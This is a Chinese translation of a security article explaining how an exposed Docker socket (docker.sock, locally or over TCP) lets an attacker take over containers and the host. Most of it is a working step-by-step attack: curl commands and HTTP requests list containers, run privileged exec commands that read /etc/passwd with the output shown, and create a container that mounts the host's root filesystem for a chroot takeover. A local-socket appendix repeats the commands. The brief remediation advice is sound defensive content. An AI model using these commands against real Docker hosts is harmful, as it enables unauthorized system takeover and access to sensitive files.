通過暴露的docker.sock檔案接管容器
預設情況下,當在主機上執行docker命令時,對docker daemon的API呼叫是通過位於/var/run/docker.sock的非聯網UNIX套接字進行的。此套接字檔案是控制在該主機上執行的任何docker容器的主API。但是,許多容器和指南會要求你將該套接字檔案作為容器中的一個卷公開[1] [2] [3] [4] [5] [6] ,或在某些情況下,將其暴露在TCP埠[1] [2] [3] 上。這樣做是非常危險的,本地或遠端暴露/var/run/docker.sock的Docker容器很有可能會被惡意攻擊者完全的接管。
截至目前,我已發現了大量將docker.sock暴露在網際網路中的伺服器。
其實這並不是一個新鮮的漏洞,在此之前早已有文章討論過關於暴露docker.sock檔案所帶來的危險性的文章。而本文我將擴充套件這個問題 ,解釋如何利用它,以及如何採取措施應對這個問題。如果你在Twitter 上關注了我,你將會在不久後獲取到我分享的一個指令碼,它可以幫助你更輕鬆地進行利用。
你能做什麼?
利用暴露的docker.sock檔案,你可以在主機上執行的任意容器中執行你想要的任何操作。通過本地或遠端訪問docker.sock檔案,你可以像在主機上執行docker命令一樣控制docker。
最簡單的例子是利用官方docker客戶端訪問docker.sock檔案(例如你碰巧訪問到了已安裝docker客戶端的容器,或是你可以安裝docker客戶端)。要利用它很簡單,你可以執行常規的docker命令,包括exec來獲取shell:
root@9e50daaea94f:/# ls -alh /var/run/docker.sock #checking if socket is availible srw-rw---- 1 root 999 0 Apr4 02:00 /var/run/docker.sock root@9e50daaea94f:/# hostname 9e50daaea94f root@9e50daaea94f:/# docker container ls CONTAINER IDNAMES 509eebf873fbanother_container 9e50daaea94fcurrent_container root@9e50daaea94f:/# docker exec -it another_container bash #running bash on the other container root@509eebf873fb:/# hostname 509eebf873fb
然而,想要執行它,你必須已在容器上安裝RCE。即使使用RCE,大多數情況下你也可能無法訪問docker客戶端,以及安裝docker客戶端。如果是這種情況,你可以對/var/run/docker.sock進行原始http請求。
雖然可以通過向docker.sock檔案發出HTTP請求來在docker容器上利用RCE利用docker環境,但這種情況不太可能發生。更大的機率是找到通過TCP埠遠端暴露的docker.sock檔案。
如果你需要執行未在以下列出的任何其他命令,docker API 將可以很好的幫到你。
這裡有一個CloudFormation 指令碼。你需要擁有一個具有啟動新EC2例項許可權的AWS賬戶。完成後別忘了刪除stack!
在容器上獲取 RCE
1)列出所有容器
第一步是獲取主機上所有容器的列表。為此,你需要執行以下http請求:
GET /containers/json HTTP/1.1 Host: <docker_host>:PORT
Curl 命令:
curl -i -s -X GET http://<docker_host>:PORT/containers/json
響應:
HTTP/1.1 200 OK Api-Version: 1.39 Content-Type: application/json Docker-Experimental: false Ostype: linux Server: Docker/18.09.4 (linux) Date: Thu, 04 Apr 2019 05:56:03 GMT Content-Length: 1780 [ { "Id":"a4621ceab3729702f18cfe852003489341e51e036d13317d8e7016facb8ebbaf", "Names":["/another_container"], "Image":"ubuntu:latest", "ImageID":"sha256:94e814e2efa8845d95b2112d54497fbad173e45121ce9255b93401392f538499", "Command":"bash", "Created":1554357359, "Ports":[], "Labels":{}, "State":"running", "Status":"Up 3 seconds", "HostConfig":{"NetworkMode":"default"}, "NetworkSettings":{"Networks": ...
注意響應中的“Id”欄位,因為下一個命令將會用到它。
2) 建立一個 exec
接下來,我們需要建立一個將在容器上執行的“exec”例項。你可以在此處輸入要執行的命令。
請求中的以下專案需要在請求中進行更改:
Container IDDocker HostPortCmd(我的示例中將 cat /etc/passwd)
POST /containers/<container_id>/exec HTTP/1.1 Host: <docker_host>:PORT Content-Type: application/json Content-Length: 188 { "AttachStdin": true, "AttachStdout": true, "AttachStderr": true, "Cmd": ["cat", "/etc/passwd"], "DetachKeys": "ctrl-p,ctrl-q", "Privileged": true, "Tty": true }
Curl 命令:
curl -i -s -X POST \ -H "Content-Type: application/json" \ --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \ http://<docker_host>:PORT/containers/<container_id>/exec
響應:
HTTP/1.1 201 Created Api-Version: 1.39 Content-Type: application/json Docker-Experimental: false Ostype: linux Server: Docker/18.09.4 (linux) Date: Fri, 05 Apr 2019 00:51:31 GMT Content-Length: 74 {"Id":"8b5e4c65e182cec039d38ddb9c0a931bbba8f689a4b3e1be1b3e8276dd2d1916"}
注意響應中的“Id”欄位,因為下一個命令將會用到它。
3)啟動 exec
現在建立了“exec”,我們需要執行它。
你需要更改請求中的以下專案:
Exec IDDocker HostPort
POST /exec/<exec_id>/start HTTP/1.1 Host: <docker_host>:PORT Content-Type: application/json { "Detach": false, "Tty": false }
Curl 命令:
curl -i -s -X POST \ -H 'Content-Type: application/json' \ --data-binary '{"Detach": false,"Tty": false}' \ http://<docker_host>:PORT/exec/<exec_id>/start
響應:
HTTP/1.1 200 OK Content-Type: application/vnd.docker.raw-stream Api-Version: 1.39 Docker-Experimental: false Ostype: linux Server: Docker/18.09.4 (linux) root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
接管主機
啟動一個docker容器,主機的根目錄安裝到容器的一個捲上,這樣就可以對主機的檔案系統執行命令。由於本文中所討論的漏洞允許你完全的控制API,因此可以控制docker主機。
注意:不要忘記更改dockerhost,port和containerID
1)下載 ubuntu 映象
curl -i -s -k-X 'POST' \ -H 'Content-Type: application/json' \ http://<docker_host>:PORT/images/create?fromImage=ubuntu&tag=latest
2)使用已安裝的卷建立容器
curl -i -s -k-X 'POST' \ -H 'Content-Type: application/json' \ --data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' \ http://<docker_host>:PORT/containers/create
3)啟動容器
curl -i -s -k-X 'POST' \ -H 'Content-Type: application/json' \ http://<docker_host>:PORT/containers/<container_ID>/start
至此,你可以利用程式碼執行漏洞對新容器執行命令。如果要對Host OS執行命令,請不要忘記新增chroot/hostos。
如何修復?
避免遠端或在容器級別暴露docker.sock檔案(如果可能)
如果你需要遠端提供套接字檔案,請執行此處的操作
設定適當的安全組和防火牆規則,以阻止非法IP的訪問
附錄
本地命令
下面是一個CURL命令列表,如果API不能遠端使用,但可以在本地使用,則可以執行這些命令。
1) 列出所有的容器
sudo curl -i -s --unix-socket /var/run/docker.sock -X GET \ http://localhost/containers/json
2) 建立一個 exec
sudo curl -i -s --unix-socket /var/run/docker.sock -X POST \ -H "Content-Type: application/json" \ --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \ http://localhost/containers/<container_id>/exec
3) 啟動 exec
sudo curl -i -s --unix-socket /var/run/docker.sock -X POST \ -H 'Content-Type: application/json' \ --data-binary '{"Detach": false,"Tty": false}' \ http://localhost/exec/<exec_id>/start
*參考來源:dejandayoff ,FB小編secist編譯,轉載請註明來自FreeBuf.COM